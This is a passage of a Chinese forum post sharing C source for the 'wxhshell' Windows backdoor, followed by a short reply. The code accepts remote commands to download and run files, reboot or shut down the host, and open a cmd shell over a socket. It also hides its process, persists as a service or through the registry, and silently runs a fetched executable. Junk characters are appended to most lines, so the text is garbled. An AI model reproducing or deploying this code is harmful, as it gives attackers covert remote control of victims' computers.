  if(strstr(cmd,"http://")) { W!B4~L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N\XZ=t^h(  
  if(DownloadFile(cmd,wsh)) 5qo^SiB.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [wB-e~   
  else ')_Gm{A#p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C 9IKX  
  } V*P3C5 l  
  else { $r%m<Uc;}O  
'~i;g.n=}-  
    switch(cmd[0]) { t/z]KdK P  
  MIo5Y`T  
  // 帮助 IgH[xwzy[  
  case '?': { hYRGIpu5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ql8E9~h  
    break; Qp8. D4^@3  
  } b Z c&uq_  
  // 安装 8`E9a  
  case 'i': { J5Rr7=:*S  
    if(Install()) DE3>F^ j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [oN}zZP]  
    else {?*3Ou  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^)=c74;;  
    break; ]UyIp`nV;  
    } Qo+_:N  
  // 卸载 pjr,X+6o  
  case 'r': { yP2[!vYw  
    if(Uninstall()) }5dYmny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :_v/a+\n  
    else SpbOvY=>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N\b%+vR  
    break; -.ITcD g  
    } b%>vhj&F  
  // 显示 wxhshell 所在路径 >Ya+#j~CZ  
  case 'p': { hU=n>g>nx  
    char svExeFile[MAX_PATH]; | ZBv;BW  
    strcpy(svExeFile,"\n\r"); T)Z2=5V  
      strcat(svExeFile,ExeFile); 9u<4Q_I`  
        send(wsh,svExeFile,strlen(svExeFile),0); =)5eui>{  
    break; XE);oL2xP  
    } ^yDCX  
  // 重启 >QRpRHtb  
  case 'b': { 5_";EED  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  TA;  
    if(Boot(REBOOT)) 8m Tjf Br  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `?VtB!p@x=  
    else { :Bc)1^ I  
    closesocket(wsh); 1c);![O  
    ExitThread(0); De`)`\U  
    } '9cShe  
    break; .Q FGIAM  
    } VyK]:n<5Q  
  // 关机 5sui*WH  
  case 'd': { 7m0sF<P{g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YGrmco?G  
    if(Boot(SHUTDOWN)) I12WOL q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P6w!r>?6N  
    else { wic"a Y<m  
    closesocket(wsh); ]0P-?O:  
    ExitThread(0); ,^,KWi9  
    } b,kXV<KtU  
    break; Rb=T'x'  
    } V D+TJ` r  
  // 获取shell [O*5\&6  
  case 's': { \(Z'@5vC  
    CmdShell(wsh); g/ONr,l`-  
    closesocket(wsh); +@D [%l|  
    ExitThread(0); SPKGbp&  
    break; ,lSt}Lml  
  } 4L#q?]$  
  // 退出 "l~wzPY)  
  case 'x': {  e#0C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j>XM+>  
    CloseIt(wsh); I$sJ8\|gw'  
    break; !7ct=L  
    } +r[u4?  
  // 离开 bTB/M=M  
  case 'q': { xC;b<~zN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @? 4-  
    closesocket(wsh); K~"uZa^s  
    WSACleanup(); Q#NXJvI  
    exit(1); B0I(/ 7  
    break; 6wH]W+A  
        } 9?<WRM3a>  
  } =N,9#o6^  
  } mKY}+21!Q  
vfAR^*7e  
  // 提示信息 >0kn&pe7#T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y7aBF13Kl  
} HHa XK  
  } 1(0LX^%  
TJ9JIxnS  
  return; M@@l>"g@  
} X%Jq9_  
:-HVK^$%  
// shell模块句柄 i-Ck:-J  
int CmdShell(SOCKET sock) 6W&huIQ[  
{ nQ>?{"  
STARTUPINFO si; Dp|y&x!  
ZeroMemory(&si,sizeof(si)); =$3]%b}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u50 o1^<X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yVd}1bX  
PROCESS_INFORMATION ProcessInfo; z zL@3/<j  
char cmdline[]="cmd"; +O P8U]~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "PH}\Dl=  
  return 0; (xw)pR  
} wi/Fx=w  
; V)pXLE  
// 自身启动模式 ]pi"M 3f_  
int StartFromService(void) <A?- *  
{ !-1UJqO  
typedef struct +[C(hhk("  
{ &r s+x<  
  DWORD ExitStatus; s0,c4y  
  DWORD PebBaseAddress; t|q@~B :  
  DWORD AffinityMask; dH"wYMNL  
  DWORD BasePriority; ?&?gQ#\N_J  
  ULONG UniqueProcessId; Hq'mv_}qG  
  ULONG InheritedFromUniqueProcessId; P)x&9OHV  
}   PROCESS_BASIC_INFORMATION; qP? V{N  
@{16j# 'R  
PROCNTQSIP NtQueryInformationProcess; 9xL8 ];-  
M3- bFIt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ${\iHg[vZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x]o~ %h$  
yT<6b)&*&  
  HANDLE             hProcess; TZ8:3ti  
  PROCESS_BASIC_INFORMATION pbi; Y?G9d6]Lk6  
"&(.Z(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ST'M<G%4E  
  if(NULL == hInst ) return 0; `j+aAxJ=\  
Wt=QCutt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?v8.3EE1\o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); . 7WNd/WG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W@<(WI3  
AwrW!)n }  
  if (!NtQueryInformationProcess) return 0; 4^h_n1 A  
Wj0=cIb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n[$bk_S  
  if(!hProcess) return 0; JL0>-kg  
*@6,Sr)_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )/VhkSXbG!  
67Z@Hg  
  CloseHandle(hProcess); 5~GHAi  
#6O<!{PH6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k=D_9_  
if(hProcess==NULL) return 0; &&Ruy(&]I  
.}'49=c  
HMODULE hMod; t"[ xx_i  
char procName[255]; t){})nZ/4  
unsigned long cbNeeded; dq d:V$o  
m$b5Vqq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8Mx+tA  
/[ _aw&W}Z  
  CloseHandle(hProcess); ^2C)Wk$  
-1'O  
if(strstr(procName,"services")) return 1; // 以服务启动 xZ'-G6O "~  
kY d'6+m  
  return 0; // 注册表启动 :iW+CD)j  
} ~*aPeJ  
!EO*xxQ  
// 主模块 f|U;4{ k  
int StartWxhshell(LPSTR lpCmdLine) s|*0cK!K^  
{ )IN!CmpN  
  SOCKET wsl; &/XRiK1"0  
BOOL val=TRUE; 9i+OYWUO  
  int port=0; Cq mtO?vne  
  struct sockaddr_in door; 'T G43^  
}G8gk"st  
  if(wscfg.ws_autoins) Install(); z4 GcS/3K  
y.h2hv]Bc  
port=atoi(lpCmdLine); 7.V'T=@x3)  
o< )"\f/,  
if(port<=0) port=wscfg.ws_port; SrlTwcD  
]Rah,4?9f  
  WSADATA data; bYs K|n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z?T;2/_7  
6T*MKu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^y" #2Ov  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n=t50/jV3=  
  door.sin_family = AF_INET; |qUi9#NUo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 25e*W>SLw  
  door.sin_port = htons(port); OH.lAF4E(  
'OrGt_U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !e>+ O^  
closesocket(wsl); )Z4ilpU,  
return 1; c*>8VW>  
} }STTDq4  
4oxAC; L  
  if(listen(wsl,2) == INVALID_SOCKET) { ^,W;dM2  
closesocket(wsl); Ep>} S  
return 1; An0Dq jR  
} j@g`Pm%u`  
  Wxhshell(wsl); ^,-2";2Xh  
  WSACleanup(); gX29c  
EKQ\MC1  
return 0; r{+P2MPW  
hJ~Na\?w  
} &m{SWV+   
tVI6GXH  
// 以NT服务方式启动 R1sWhB99  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) > nHaMj  
{ !TNp|U!  
DWORD   status = 0; &TgS$c5k  
  DWORD   specificError = 0xfffffff; E;`@S  
exW|c~|m{A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >:C0ZQUW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $<NrJgQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2Dc2uU@`r  
  serviceStatus.dwWin32ExitCode     = 0; _?VMSu  
  serviceStatus.dwServiceSpecificExitCode = 0; Z;v5L/;  
  serviceStatus.dwCheckPoint       = 0; 'dXGd.V7u  
  serviceStatus.dwWaitHint       = 0; K_SURTys  
3@}rO~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zD"n7;  
  if (hServiceStatusHandle==0) return; qdW"g$fW  
*'i9  
status = GetLastError(); e4h9rF{Cxn  
  if (status!=NO_ERROR) [I~&vLTe  
{ RIm8PV;N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; { l0[`"EF  
    serviceStatus.dwCheckPoint       = 0; :P'M|U  
    serviceStatus.dwWaitHint       = 0; 1hTE^\W  
    serviceStatus.dwWin32ExitCode     = status; 1]&FB{l  
    serviceStatus.dwServiceSpecificExitCode = specificError; +,g3Xqs}X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I$0O4  
    return; ?Yf0h_>  
  } $@Bd}35 J  
-v@LJCK7I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]z77hcjB1  
  serviceStatus.dwCheckPoint       = 0;  cFD3  
  serviceStatus.dwWaitHint       = 0; rp&XzMwC4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); " ""k}M2A  
} twWzS 4;  
* :kMv;9  
// 处理NT服务事件,比如:启动、停止 EvP\;7B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !VDNqW  
{ -P6Z[ V%  
switch(fdwControl) -){aBMOv3  
{ J@}PBHK+  
case SERVICE_CONTROL_STOP: aP ToP.e  
  serviceStatus.dwWin32ExitCode = 0; <u_ vL WS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TSKT6_IJw  
  serviceStatus.dwCheckPoint   = 0; d ug^oc1  
  serviceStatus.dwWaitHint     = 0; 5+DId7d'n  
  { ]&;K:#J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e,K.bgi  
  } d1qvS@  
  return; 4'~zuUs  
case SERVICE_CONTROL_PAUSE: ,J&\) yTP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \{EYkk0]  
  break; pw.K,?kYr  
case SERVICE_CONTROL_CONTINUE: iJU=98q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H`bS::JI-  
  break; iSP}kM}  
case SERVICE_CONTROL_INTERROGATE: +RBX2$kB  
  break; le|Rhs%Z%  
}; goqm6L^Cu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C~-.zQ$  
} 91#rP|88;  
;5 p;i 8m  
// 标准应用程序主函数 wJc`^gj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y"  Ut  
{ oQiRjDLx  
1/ 3<u::  
// 获取操作系统版本 _C3O^/<n4V  
OsIsNt=GetOsVer(); jO0"`|(]s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PcQ\o>0")  
fW w+'xF!  
  // 从命令行安装 l`<1Y|  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^)p+)5l   
J kxsua  
  // 下载执行文件 .<zN/&MXf  
if(wscfg.ws_downexe) { z -c1,GOD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C=Tq/L w  
  WinExec(wscfg.ws_filenam,SW_HIDE); {ePtZyo0  
} ZOBcV,K  
ipe8U1Sc  
if(!OsIsNt) { Ya `$.D  
// 如果时win9x,隐藏进程并且设置为注册表启动 m:D0O]2  
HideProc(); nv <t$r  
StartWxhshell(lpCmdLine); A2.GNk  
} 2Krh&  
else $@HW|Y  
  if(StartFromService()) g#q7~#9  
  // 以服务方式启动 FnPn#Cv>*  
  StartServiceCtrlDispatcher(DispatchTable); U4N H9-U'  
else zRMz8IC.  
  // 普通方式启动 r"9hpZH  
  StartWxhshell(lpCmdLine); I {%Y0S  
4YSVy2x  
return 0; Lz&FywF-l  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八